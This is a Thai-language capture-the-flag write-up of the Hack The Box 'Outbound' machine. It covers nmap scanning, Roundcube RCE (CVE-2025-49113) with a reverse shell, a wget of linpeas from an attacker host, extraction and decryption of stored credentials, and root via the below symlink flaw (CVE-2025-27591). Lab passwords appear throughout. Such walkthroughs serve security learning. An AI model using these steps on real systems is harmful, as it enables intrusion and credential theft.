[HTB Outbound write up]

Linux boot to root machine

Alt text หลังจากกด start machine ก็จะได้ ip และ credentials มาตามนี้

Target IP Address 10.10.11.77

Machine Information

As is common in real life pentests, you will start the Outbound box with credentials for the following account

tyler / LhKL1o9Nm3X2

เริ่มด้วยการ Nmap เพื่อหา port ที่เปิดอยู่ของเครื่องนี้

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T5 10.10.11.77 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 14:00 +07
Stats: 0:00:13 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 14:00 (0:00:06 remaining)
Nmap scan report for 10.10.11.77
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds

มี port 80 เปิดอยู่ เข้าไปที่หน้าเว็บผ่าน http://10.10.11.77/

Alt text

ต้องไปทำการเพิ่ม host ในไฟล์ /etc/hosts

10.10.11.77     mail.outbound.htb

พอกลับเข้ามาที่หน้าเว็บให้ login เข้าไปด้วย credentials ที่โจทย์ให้มา

Alt text

หลังจากเข้าเว็บมาจะเห็นว่าเว็บนี้เป็นเว็บสำหรับจัดการอีเมล์ต่างๆซึ่งจะใช้ตัว Roundcube Webmail คือระบบ เว็บเมลโอเพนซอร์ส ในการจัดการทั้งส่งและอ่านเมล์

สิ่งแรกที่ควรทำคือดู version ของ Roundcube Webmail เพื่อหาว่ามีช่องโหว่ใน version นี้หรือไม่ โดยไปที่หน้า About

Alt text

ลองเอา version นี้ไปหาช่องโหว่ใน search engine

แล้วก็เจอจริงๆ CVE-2025-49113 Roundcube Remote Code Execution ซึ่งมันก็คือช่องโหว่ที่เกิดจากการทำ PHP Object Deserialization ที่ไม่ปลอดภัยทำให้สามารถทำ remote code execution ได้ แต่จะต้องมี credentials ถึงจะใช้ช่องโหว่นี้ได้ โดยโจทย์ก็ได้ให้มาเรียบร้อยแล้ว

ทำการโหลดโค้ดสำหรับ exploit มาจาก github และทำการ run โดยใส่ parameter ให้ครบ โดยช่องโหว่ RCE แบบนี้ส่วนใหญ่เราก็จะใช้ท่า reverse shell เพื่อเข้าไปในเครื่องในของฐานะ web server

ในเครื่อง Attacker ทำการเปิด port ไว้รอ

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...

และอีก tab นึงให้ run exploit โดย parameter ให้ใส่คำสั่งสำหรับการ reverse shell มาที่เครื่องเรา โดยผมใช้ revshells.com ในการเจนคำสั่งสำหรับ reverse shell โดยใช้คำสั่งต่างๆเพราะเราไม่รู้ว่าในเครื่องของเหยื่อได้มีการติดตั้ง service อะไรไว้บ้างผมเลยลองหลายๆคำสั่งไปเรื่อยๆ 😂 ในที่สุดผมก็เจอ

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.11.77] 44418
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

หลังจากผมไปผจญภัยในหลายๆ path แล้วไม่ได้อะไรเลยผมเลยจะใช้ตัว linpeas.sh มันคือ automatically tool สำหรับการ enumerate sytem information, processes, และ files ต่างๆเพื่อใช้ในการทำ privilege escalation โดยในเครื่องผมที่มีไฟล์ linpeas.sh ได้รันคำสั่ง

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server 8080                                           
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

เพื่อเปิด server ไว้สำหรับให้เครื่องเหยื่อโหลดไฟล์จากเครื่องผมไปได้ ในเครื่องของเหยื่อให้รันคำสั่ง

wget http://<Attacker_IP>:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > result.txt

สำหรับ download และให้สิทธิ์ในการ execute ไฟล์ และทำการรันตัว linpeas.sh โดยให้ผลไปเก็บไว้ที่ไฟล์ result.txt หลังจากนั่งไล่ดูผลลัพธ์ในไฟล์ result.txt มีสิ่งที่น่าสนใจดังนี้ Alt text มันคือข้อมูลในไฟล์ config.inc.php จากไฟล์นี้ทำให้เรารู้ user และ password สำหรับเข้าไปใน database จากนั้นผมทำการ spawn shell เพื่อให้สามารถที่จะใช้คำสั่ง mysql เพื่อดูข้อมูลใน database ได้โดยใช้คำสั่ง

script -qc /bin/bash /dev/null

ซึ่งผมก็ไปเอามาจาก chatgpt นั่นแหละ555555 ลองบอกให้เอามาให้หลายๆแบบแล้วแบบนี้มันได้ 🤓

www-data@mail:/var/www/html/roundcube/public_html$ mysql -u roundcube -p
mysql -u roundcube -p
Enter password: RCDBPass2025

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 254
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

หลังจากดู database และ table ทั้งหมดแล้วมี table ที่น่าสนใจอยู่อันนึงคือ table session เพราะ table อื่นๆผมไปเปิดดูหมดแล้วมันไม่มีอะไร 555555555 ลอง select * มาดูสิ่งที่อยู่ข้างใน table นี้

Alt text จะได้เห็นเป็นข้อความยาวๆลองเอาไปเข้า CyberChef ก็จะถอดรหัสได้ตามรูป Alt text จะเห็นว่าจะมี password ของ user ที่ชื่อ jacob อยู่แต่น่าเสียดายผมลองเอาไปใช้แล้วแต่มันยังไม่ถูกต้อง 🥲 ผมเลยต้องกลับถามท่าน chat ต่อโดยการโยนทุกอย่างเข้าไป 😎 ผลก็คือ password ที่ให้มามันได้มีการเข้ารหัสเอาไว้เป็นแบบ des3 หรือ tripleDES โดยการจะถอดรหัสนี้ได้จะต้องมี des key ถ้าคุณสังเกตุดีๆในไฟล์ config.inc.php จะมีการ hardcode des key ไว้ ดูตามรูปด้านบน ผมจึงไม่รอช้าเข้า CyberChef เพื่อทำการถอดรหัส

แต่หลังจากที่ผมใส่ทุกอย่างจนครบแล้วผมก็ได้พบกับความจริง Alt text ผมไม่รู้ว่าค่า IV คืออะไรและต้องใส่อะไรถึงจะออกเพราะ chat มันก็บอกให้ผมใส่แค่ 0000000000000000 ผมก็เชื่อหมดใจและคิดว่าผมคงมาผิดทาง 😭 (หลักฐานตามรูปด้านล่าง) Alt text

หลังจากผมท้ออยู่นานผมก็กลับไปผจญภัยใน path ต่างๆต่อจนผมได้เจอเข้ากับไฟล์ decrypt.sh ที่อยู่ใน path /var/www/html/roundcube/bin

www-data@mail:/var/www/html/roundcube/bin$ cat decrypt.sh
cat decrypt.sh
#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Decrypt the encrypted parts of the HTTP Received: headers           |
 +-----------------------------------------------------------------------+
 | Author: Tomas Tevesz <ice@extreme.hu>                                 |
 +-----------------------------------------------------------------------+
*/

/**
 * If http_received_header_encrypt is configured, the IP address and the
 * host name of the added Received: header is encrypted with 3DES, to
 * protect information that some could consider sensitive, yet their
 * availability is a must in some circumstances.
 *
 * Such an encrypted Received: header might look like:
 *
 * Received: from DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==
 *  [my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4]
 *  with HTTP/1.1 (POST); Thu, 14 May 2009 19:17:28 +0200
 *
 * In this example, the two encrypted components are the sender host name
 * (DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==) and the IP
 * address (my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4).
 *
 * Using this tool, they can be decrypted into plain text:
 *
 * $ bin/decrypt.sh 'my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4' \
 * > 'DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ=='
 * 84.3.187.208
 * 5403BBD0.catv.pool.telekom.hu
 * $
 *
 * Thus it is known that this particular message was sent by 84.3.187.208,
 * having, at the time of sending, the name of 5403BBD0.catv.pool.telekom.hu.
 *
 * If (most likely binary) junk is shown, then
 *  - either the encryption password has, between the time the mail was sent
 *    and 'now', changed, or
 *  - you are dealing with counterfeit header data.
 */

define('INSTALL_PATH', realpath(__DIR__ .'/..') . '/');

require INSTALL_PATH . 'program/include/clisetup.php';

if ($argc < 2) {
    die("Usage: " . basename($argv[0]) . " encrypted-hdr-part [encrypted-hdr-part ...]\n");
}

$RCMAIL = rcube::get_instance();

for ($i = 1; $i < $argc; $i++) {
    printf("%s\n", $RCMAIL->decrypt($argv[$i]));
};

มันก็คือไฟล์ที่เอาไว้สำหรับถอดรหัสค่า (เช่น hostname, IP ที่ encrypt ใน header) ของ Roundcube โดยอาศัย key ที่อยู่ใน config.inc.php ของ roundcube เดิมใช้ method $RCMAIL->decrypt($ciphertext) ซึ่งใน roundcube จะใช้ 3DES

แน่นอนว่าข้อความดังกล่าวมาจาก chat 555555 ผมจึงไม่รอช้าใช้งานทันทีโดยรันคำสั่ง

www-data@mail:/var/www/html/roundcube/bin$ ./decrypt.sh "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
<in$ ./decrypt.sh "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
595mO8DmwGeD

ในที่สุดก็ได้รหัสของ user jacob มาละจากนั้นใช้คำสั่ง

www-data@mail:/var/www/html/roundcube/bin$ su jacob
su jacob
Password: 595mO8DmwGeD

jacob@mail:/var/www/html/roundcube/bin$ id
id
uid=1001(jacob) gid=1001(jacob) groups=1001(jacob)
jacob@mail:/var/www/html/roundcube/bin$

เพื่อเปลี่ยนจาก web server เป็น jacob พอได้ user jacob มาแล้วผมก็ไปที่ path /home เนื่องจากมันมี folder ของ user jacob อยู่ด้านใน พอเข้ามาตาม path เรื่อยๆก็จะมาเจอไฟล์ mail inbox ของ jacob โดยมีเนื้อหาดังนี้

jacob@mail:~/mail/INBOX$ cat jacob
cat jacob
From tyler@outbound.htb  Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
        id B32C410248D; Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status: 
X-Keywords:                                                                       
Content-Length: 233

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler

From mel@outbound.htb  Sun Jun 08 12:09:45 2025
Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002)
        id 1487E22C; Sun,  8 Jun 2025 12:09:45 +0000 (UTC)
To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun,  8 Jun 2025 12:09:45 +0000 (UTC)
From: mel@outbound.htb
X-UID: 2
Status: 
X-Keywords:                                                                       
Content-Length: 261

We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.

Thanks!

Mel

จาก mail นี้เราจะได้รหัสของ user jacob สำหรับ ssh เข้าไปในเครื่อง Alt text แล้วก็บู้มได้ user flag แล้วววว

Alt text

แต่ยังไม่หมดเรายังเหลือ root flag อยู่ซึ่งเราต้องยกสิทธิ์ตัวเองให้เป็น root ให้ได้ โดยใช้คำสั่ง sudo -l เพื่อดูว่า user นี้สามารถรัน sudo อะไรได้บ้าง

jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

หลังจากนั้นผมจึงได้ใช้ OSINT ที่ทรงพลังที่สุดในการค้นหาช่องโหว่นี้ 🤓 Alt text

CVE-2025-27591 - Privilege Escalation via Writable Symlink in below

ซึ่งมันก็คือช่องโหว่สำหรับยกระดับสิทธิ์ในซอฟต์แวร์ Below โดยเมื่อเรารัน below ด้วย sudo มันจะทำการบันทึก error log ด้วยสิทธิ์ world-writable (mode 0777) ไว้ที่ path /var/log/below ซึ่งจะทำให้เราสามารถใช้การ symlink errors log ไฟล์ไปที่ไฟล์ที่ sensitive ต่างๆได้ในที่นี้คือ /etc/passwd เพื่อเพิ่ม root user ที่ต้องการได้นั่นเอง

เราก็ทำการโหลด exploit มาจาก github และทำการ run ได้เลย

Alt text ได้ root flag แล้ววว 🥳

ขอบคุณทุกคนที่เข้ามาอ่าน write up นี้ด้วยนะครับซึ่งมันก็คือ write up แรกของผมด้วย ครั้งหน้าผมจะพยายามเขียนให้เข้าใจและเรียบเรียงเนื้อหาให้น่าสนใจกว่านี้ครับ ไว้เจอกัน blog หน้าครับ 😎

[RELATED POSTS]